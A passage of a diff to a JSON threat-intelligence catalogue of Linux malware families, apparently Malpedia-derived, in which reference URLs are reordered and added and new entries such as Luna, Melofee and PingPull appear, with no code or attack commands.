"https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", "https://redcanary.com/blog/kinsing-malware-citrix-saltstack/", - "https://www.cyberark.com/resources/threat-research-blog/kinsing-the-malware-with-two-faces", - "https://www.trendmicro.com/en_us/research/22/i/a-post-exploitation-look-at-coinminers-abusing-weblogic-vulnerab.html" + "https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" ], "synonyms": [ "h2miner" @@ -4766,10 +5227,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.kobalos", - "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf", "https://team-cymru.com/blog/2021/02/05/kobalos-malware-mapping/", "https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf", - "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/" + "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/", + "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf" ], "synonyms": [], "type": [] @@ -4822,8 +5283,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.lilock", "https://www.bleepingcomputer.com/news/security/lilocked-ransomware-actively-targeting-servers-and-web-sites/", - "https://id-ransomware.blogspot.com/2019/07/lilu-lilocked-ransomware.html", - "https://fossbytes.com/lilocked-ransomware-infected-linux-servers/" + "https://fossbytes.com/lilocked-ransomware-infected-linux-servers/", + "https://id-ransomware.blogspot.com/2019/07/lilu-lilocked-ransomware.html" ], "synonyms": [ "Lilocked", @@ -4852,21 +5313,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.liquorbot", - "https://www.zdnet.com/article/naive-iot-botnet-wastes-its-time-mining-cryptocurrency/", - "https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/" + "https://labs.bitdefender.com/2020/01/hold-my-beer-mirai-spinoff-named-liquorbot-incorporates-cryptomining/", + "https://www.zdnet.com/article/naive-iot-botnet-wastes-its-time-mining-cryptocurrency/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e537e165-ea8b-4e75-8813-6519632d3f6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "3fe8f3db-4861-4e78-8b60-a794fe22ae3f", "value": "LiquorBot" }, @@ -4875,15 +5327,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.lockbit", - "https://www.ic3.gov/Media/News/2022/220204.pdf", - "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", - "https://blog.compass-security.com/2022/03/vpn-appliance-forensics/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://www.bleepingcomputer.com/news/security/lockbit-victim-estimates-cost-of-ransomware-attack-to-be-42-million/", - "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/" + "https://blog.compass-security.com/2022/03/vpn-appliance-forensics/", + "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html", + "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", + "https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://security.packt.com/understanding-lockbit/", + "https://analyst1.com/ransomware-diaries-volume-1/", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html", + "https://www.ic3.gov/Media/News/2022/220204.pdf", + "https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants" ], "synonyms": [], "type": [] @@ -4896,9 +5354,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.loerbas", - "https://atdotde.blogspot.com/2020/05/high-performance-hackers.html", "https://www.cadosecurity.com/2020/05/16/1318/", - "https://twitter.com/nunohaien/status/1261281419483140096" + "https://twitter.com/nunohaien/status/1261281419483140096", + "https://atdotde.blogspot.com/2020/05/high-performance-hackers.html" ], "synonyms": [], "type": [] @@ -4932,13 +5390,27 @@ "uuid": "cfcf8608-03e7-4a5b-a46c-af342db2d540", "value": "Lootwodniw" }, + { + "description": "ESXi encrypting ransomware written in Rust.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.luna", + "https://nikhilh-20.github.io/blog/luna_ransomware/", + "https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "bc9022d6-ee65-463f-9823-bc0f96963a75", + "value": "Luna" + }, { "description": "Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.manjusaka", - "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html", - "https://github.com/avast/ioc/tree/master/Manjusaka" + "https://github.com/avast/ioc/tree/master/Manjusaka", + "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html" ], "synonyms": [], "type": [] @@ -4951,24 +5423,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.masuta", - "https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7", "https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/", - "https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes" + "https://www.virusbulletin.com/virusbulletin/2018/12/vb2018-paper-tracking-mirai-variants/#h2-appendix-sample-sha256-hashes", + "https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7" ], "synonyms": [ "PureMasuta" ], "type": [] }, - "related": [ - { - "dest-uuid": "1d4dec2c-915a-4fef-ba7a-633421bd0848", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "b9168ff8-01df-4cd0-9f70-fe9e7a11eccd", "value": "Masuta" }, @@ -4985,18 +5448,33 @@ "uuid": "4e989704-c49f-468c-95e1-1b7c5a58b3c4", "value": "Matryosh" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.melofee", + "https://blog.exatrack.com/melofee/" + ], + "synonyms": [ + "Mélofée" + ], + "type": [] + }, + "uuid": "1ffd85bd-389c-4e04-88fd-8186423c3691", + "value": "Melofee" + }, { "description": "MESSAGETAP is a 64-bit ELF data miner initially loaded by an installation script. It is designed to monitor and save SMS traffic from specific phone numbers, IMSI numbers and keywords for subsequent theft.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.messagetap", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "https://attack.mitre.org/groups/G0096", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", - "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", + "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/" ], "synonyms": [], "type": [] @@ -5009,8 +5487,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.midrashim", - "https://www.guitmz.com/linux-midrashim-elf-virus/", - "https://github.com/guitmz/midrashim" + "https://github.com/guitmz/midrashim", + "https://www.guitmz.com/linux-midrashim-elf-virus/" ], "synonyms": [], "type": [] @@ -5023,8 +5501,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mikey", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md", - "https://securitykitten.github.io/2016/12/14/mikey.html" + "https://securitykitten.github.io/2016/12/14/mikey.html", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2016-12-14-mikey.md" ], "synonyms": [], "type": [] @@ -5037,64 +5515,66 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093", - "https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html", - "https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/", - "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/", - "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", - "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", - "https://www.fortinet.com/blog/threat-research/totolink-vulnerabilities-beastmode-mirai-campaign", - "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot", - "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", - "https://www.netscout.com/blog/asert/ddos-attack-campaign-targeting-multiple-organizations-ukraine", - "https://www.politie.nl/nieuws/2019/oktober/2/11-servers-botnet-offline.html", - "https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/", - "https://synthesis.to/2021/06/30/automating_string_decryption.html", - "https://www.lacework.com/blog/malware-targeting-latest-f5-vulnerability/", - "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", "https://www.cadosecurity.com/technical-analysis-of-the-ddos-attacks-against-ukrainian-websites/", - "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", - "https://github.com/jgamblin/Mirai-Source-Code", - "https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/", - "https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/", - "https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/", - "https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html", - "https://www.youtube.com/watch?v=KVJyYTie-Dc", - "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", - "https://www.crowdstrike.com/blog/linux-mirai-malware-double-on-stronger-chips/", - "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", - "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/", - "https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/", + "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/", "https://blog.reversinglabs.com/blog/mirai-botnet-continues-to-plague-iot-space", - "https://exchange.xforce.ibmcloud.com/collection/InfectedNight-Mirai-Variant-With-Massive-Attacks-On-Our-Honeypots-dbea3e9e39b8265e729545fa798e4d18", - "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", - "http://osint.bambenekconsulting.com/feeds/", - "https://community.riskiq.com/article/d8a78daf", - "https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en/", - "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://krebsonsecurity.com/2017/12/mirai-iot-botnet-co-authors-plead-guilty/", + "https://thehackernews.com/2022/04/hackers-exploiting-spring4shell.html", "https://isc.sans.edu/diary/22786", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "http://osint.bambenekconsulting.com/feeds/", + "https://unit42.paloaltonetworks.com/cve-2021-32305-websvn/", + "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.crowdstrike.com/blog/linux-mirai-malware-double-on-stronger-chips/", + "https://community.riskiq.com/article/d8a78daf", + "https://www.politie.nl/nieuws/2019/oktober/2/11-servers-botnet-offline.html", + "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/", + "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", + "https://blog.trendmicro.com/trendlabs-security-intelligence/mirai-botnet-exploit-weaponized-to-attack-iot-devices-via-cve-2020-5902/", + "https://www.zscaler.com/blogs/security-research/threatlabz-analysis-log4shell-cve-2021-44228-exploit-attempts", + "https://exchange.xforce.ibmcloud.com/collection/InfectedNight-Mirai-Variant-With-Massive-Attacks-On-Our-Honeypots-dbea3e9e39b8265e729545fa798e4d18", + "https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/", + "https://blog.netlab.360.com/what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory-en/", + "https://cert.gov.ua/article/37139", + "https://synthesis.to/2021/06/30/automating_string_decryption.html", + "https://www.youtube.com/watch?v=KVJyYTie-Dc", + "https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx", + "https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/", + "https://www.lacework.com/blog/malware-targeting-latest-f5-vulnerability/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tough-times-for-ukrainian-honeypot", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/", + "https://www.fortinet.com/blog/threat-research/multiple-malware-campaigns-target-vmware-vulnerability", + "https://cybersecurity.att.com/blogs/labs-research/malware-hosting-domain-cyberium-fanning-out-mirai-variants", + "http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/", + "https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/", "https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html", + "https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group", + "https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/", + "https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/", + "https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet", + "https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/", + "https://www.netscout.com/blog/asert/ddos-attack-campaign-targeting-multiple-organizations-ukraine", + "https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093", + "https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/", + "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", + "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://www.bleepingcomputer.com/news/security/mirai-activity-picks-up-once-more-after-publication-of-poc-exploit-code/", "https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai", - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/", + "https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet", + "https://unit42.paloaltonetworks.com/iot-vulnerabilities-mirai-payloads/", + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", "https://blog.trendmicro.com/trendlabs-security-intelligence/with-mirai-comes-miori-iot-botnet-delivered-via-thinkphp-remote-code-execution-exploit/", "https://www.trendmicro.com/en_us/research/22/d/cve-2022-22965-analyzing-the-exploitation-of-spring4shell-vulner.html", - "https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt", - "https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/", - "https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/", - "https://cert.gov.ua/article/37139", - "https://cybersecurity.att.com/blogs/labs-research/malware-hosting-domain-cyberium-fanning-out-mirai-variants", - "https://prod-blog.avira.com/katana-a-new-variant-of-the-mirai-botnet", - "https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/", - "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", - "https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/", - "http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/", + "https://blogs.jpcert.or.jp/en/2022/03/anti_upx_unpack.html", "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", - "https://www.stratosphereips.org/blog/2019/4/12/analysis-of-a-irc-based-botnet", - "https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/" + "https://www.fortinet.com/blog/threat-research/totolink-vulnerabilities-beastmode-mirai-campaign", + "https://www.lacework.com/blog/mirai-goes-stealth-tls-iot-malware/", + "https://github.com/jgamblin/Mirai-Source-Code", + "https://forensicitguy.github.io/extracting-indicators-from-packed-mirai/", + "https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/" ], "synonyms": [ "Katana" @@ -5135,12 +5615,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot", - "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", - "https://www.fortinet.com/blog/threat-research/mirai-based-botnet-moobot-targets-hikvision-vulnerability", - "https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b", "https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/", + "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", + "https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b", "https://blog.netlab.360.com/ddos-botnet-moobot-en/", - "https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/" + "https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/", + "https://www.fortinet.com/blog/threat-research/mirai-based-botnet-moobot-targets-hikvision-vulnerability" ], "synonyms": [], "type": [] @@ -5169,17 +5649,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mozi", - "https://www.elastic.co/blog/collecting-and-operationalizing-threat-data-from-the-mozi-botnet", "https://www.microsoft.com/security/blog/2021/08/19/how-to-proactively-defend-against-mozi-iot-botnet/", - "https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/", - "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", - "https://blog.netlab.360.com/the-mostly-dead-mozi-and-its-lingering-bots/", - "https://blog.netlab.360.com/mozi-another-botnet-using-dht/", - "https://www.nozominetworks.com/blog/overcoming-the-challenges-of-detecting-p2p-botnets-on-your-network/", "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", "https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/", + "https://www.nozominetworks.com/blog/overcoming-the-challenges-of-detecting-p2p-botnets-on-your-network/", + "https://blog.netlab.360.com/mozi-another-botnet-using-dht/", "https://www.youtube.com/watch?v=cDFO_MRlg3M", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf" + "https://blog.centurylink.com/new-mozi-malware-family-quietly-amasses-iot-bots/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://blog.netlab.360.com/the-mostly-dead-mozi-and-its-lingering-bots/", + "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", + "https://www.elastic.co/blog/collecting-and-operationalizing-threat-data-from-the-mozi-botnet" ], "synonyms": [], "type": [] @@ -5188,12 +5668,12 @@ "value": "Mozi" }, { - "description": "", + "description": "MrBlack, first identified in May 2014 by Russian security firm Dr. Web, is a botnet that targets Linux OS and is designed to conduct distributed denial-of-service (DDoS) attacks. In May 2015, Incapsula clients suffered a large-scale DDoS attack which the company attributed to network traffic generated by tens of thousands of small office/home office (SOHO) routers infected with MrBlack. This massive botnet spans over 109 countries, especially in Thailand and Brazil.\r\n\r\nMrBlack scans for and infects routers that have not had their default login credentials changed and that allow remote access to HTTP and SSH via port 80 and port 22, respectively. One of the most impacted router brands is Ubiquiti, a U.S.-based firm that provides bulk network hub solutions for internet service providers to lease to their customers. Once a vulnerable router is compromised and MrBlack is injected into the system, a remote server is contacted and system information from the device is transmitted. This allows the host server to receive commands in order to perform different types of DDoS attacks, download and execute files, and terminate processes.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack", - "https://news.drweb.com/?i=5760&c=23&lng=en", - "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf" + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", + "https://news.drweb.com/?i=5760&c=23&lng=en" ], "synonyms": [], "type": [] @@ -5232,9 +5712,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.ngioweb", - "https://blog.netlab.360.com/linux-ngioweb-v2-going-after-iot-devices-en/", "https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/", - "https://twitter.com/IntezerLabs/status/1324346324683206657" + "https://twitter.com/IntezerLabs/status/1324346324683206657", + "https://blog.netlab.360.com/linux-ngioweb-v2-going-after-iot-devices-en/" ], "synonyms": [], "type": [] @@ -5262,13 +5742,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.notrobin", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/", - "https://news.sophos.com/en-us/2020/05/21/asnarok2/", "https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html", - "https://blog.dcso.de/a-curious-case-of-cve-2019-19781-palware-remove_bds/", "https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html", + "https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/", + "https://blog.dcso.de/a-curious-case-of-cve-2019-19781-palware-remove_bds/", "https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought", - "https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/" + "https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/", + "https://news.sophos.com/en-us/2020/05/21/asnarok2/" ], "synonyms": [ "remove_bds" @@ -5296,13 +5776,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari", + "https://twitter.com/ankit_anubhav/status/1019647993547550720", + "https://twitter.com/hrbrmstr/status/1019922651203227653", "https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863", "https://twitter.com/360Netlab/status/1019759516789821441", "https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html", - "https://twitter.com/ankit_anubhav/status/1019647993547550720", "https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/", - "https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/", - "https://twitter.com/hrbrmstr/status/1019922651203227653" + "https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/" ], "synonyms": [], "type": [] @@ -5341,18 +5821,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla", - "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://securelist.com/big-threats-using-code-similarity-part-1/97239/", - "https://lab52.io/blog/looking-for-penquins-in-the-wild/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", - 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"https://therecord.media/agents-raid-home-of-kansas-man-seeking-info-on-botnet-that-infected-dod-network/" + "https://brianstadnicki.github.io/posts/malware-gitlab-perlbot/", + "https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://sysdig.com/blog/malware-analysis-shellbot-sysdig/", + "https://jask.com/wp-content/uploads/2019/02/Shellbot-Campaign_v2.pdf", + "https://asec.ahnlab.com/en/49769/" ], "synonyms": [ "DDoS Perl IrcBot", @@ -5399,6 +5880,19 @@ "uuid": "2ee05352-3d4a-448b-825d-9d6c10792bf7", "value": "Persirai" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.pingpull", + "https://unit42.paloaltonetworks.com/alloy-taurus/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "65a7944c-15d9-4ca5-8561-7c97b18684c8", + "value": "PingPull" + }, { "description": "A botnet with P2P and centralized C&C capabilities.", "meta": { @@ -5417,13 +5911,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.plead", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/", "https://blogs.jpcert.or.jp/en/2020/11/elf-plead.html", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", - "https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/", - "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020" + "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" ], "synonyms": [], "type": [] @@ -5464,13 +5959,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", + "https://twitter.com/IntezerLabs/status/1338480158249013250", + "https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html", + "https://cujo.com/iot-malware-journals-prometei-linux/", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities", - 